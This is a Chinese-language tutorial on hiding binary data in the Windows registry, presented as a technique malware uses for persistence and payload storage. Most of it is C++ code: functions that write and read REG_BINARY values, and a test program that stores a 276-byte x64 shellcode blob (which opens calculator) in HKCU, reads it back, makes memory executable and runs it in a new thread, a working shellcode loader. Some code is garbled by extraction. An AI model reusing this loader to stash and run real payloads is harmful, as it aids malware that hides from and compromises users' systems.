在windows注册表中存储二进制数据

简介

注册表是 Windows 操作系统中一个重要的数据库，它包含 Windows 操作系统和应用程序的重要设置和选项。由于注册表的功能非常强大，因此注册表对于恶意程序来说是非常有利用价值的。

在 windows 注册表中存储二进制数据，这是一种常见的技术，常被恶意软件用于持久化或存储恶意的 payload。

在注册表中存储二进制数据

boolStoreBinaryDataInRegistry(conststd::wstring& subKeyPath, conststd::wstring& vauleName, constvoid* binaryData, DWORD dataSize)
{
HKEY hkey;
LSTATUS res = RegCreateKeyExW(HKEY_CURRENT_USER, subKeyPath.c_str(), 0, NULL, 0, KEY_WRITE, NULL, &hkey, NULL);
if(res == ERROR_SUCCESS)
{
res = RegSetValueExW(hkey, vauleName.c_str(), 0, REG_BINARY, reinterpret_cast(binaryData), dataSize);

RegCloseKey(hkey);
}

return(res == ERROR_SUCCESS);
}

上述代码将二进制数据存储到 Windows 注册表中。

取出存储的二进制数据

boolGetBinaryDataFromRegistry(conststd::wstring& subKeyPath, conststd::wstring& valueName, std::vector& outBuffer)
{
HKEY hKey;

LSTATUS res = RegOpenKeyExW(HKEY_CURRENT_USER, subKeyPath.c_str(), 0, KEY_READ, &hKey);
if(res != ERROR_SUCCESS) {
returnfalse;
}

DWORD dataType;
DWORD dataSize = 0;
res = RegQueryValueEx(hKey, valueName.c_str(), nullptr, &dataType, nullptr, &dataSize);
if(res != ERROR_SUCCESS || dataType != REG_BINARY) {
RegCloseKey(hKey);
returnfalse;
}

outBuffer.resize(dataSize);
res = RegQueryValueEx(hKey, valueName.c_str(), nullptr, &dataType, &outBuffer[0], &dataSize);
RegCloseKey(hKey);

return(res == ERROR_SUCCESS);
}

上述代码将从注册表指定位置取出二进制数据保存在 vector 中。

测试

intmain()
{
unsigned char calc_thread64_bin[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
unsigned intcalc_thread64_bin_len = 276;

StoreBinaryDataInRegistry(L"SOFTWARE\testApp", L"test", calc_thread64_bin, calc_thread64_bin_len);

std::vector payload;
GetBinaryDataFromRegistry(L"SOFTWARE\testApp", L"test", payload);

auto execMem = VirtualAlloc(NULL, calc_thread64_bin_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

memmove(execMem, payload.data(), calc_thread64_bin_len);

DWORD oldProtect;
auto ret = VirtualProtect(execMem, calc_thread64_bin_len, PAGE_EXECUTE_READ, &oldProtect);

if(ret != 0) {
HANDLE th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)execMem, 0, 0, 0);
WaitForSingleObject(th, -1);
}

return0;
}

上述测试代码首先使用 StoreBinaryDataInRegistry 将 payload 写入注册表指定位置（HKCUSOFTWARE estApp）下的 test 字段，之后从使用GetBinaryDataFromRegistry 取出 payload 数据并创建线程执行 payload。

效果：写入注册表中指定位置的数据。

当程序成功执行将弹出计算器窗口。

审核编辑：彭静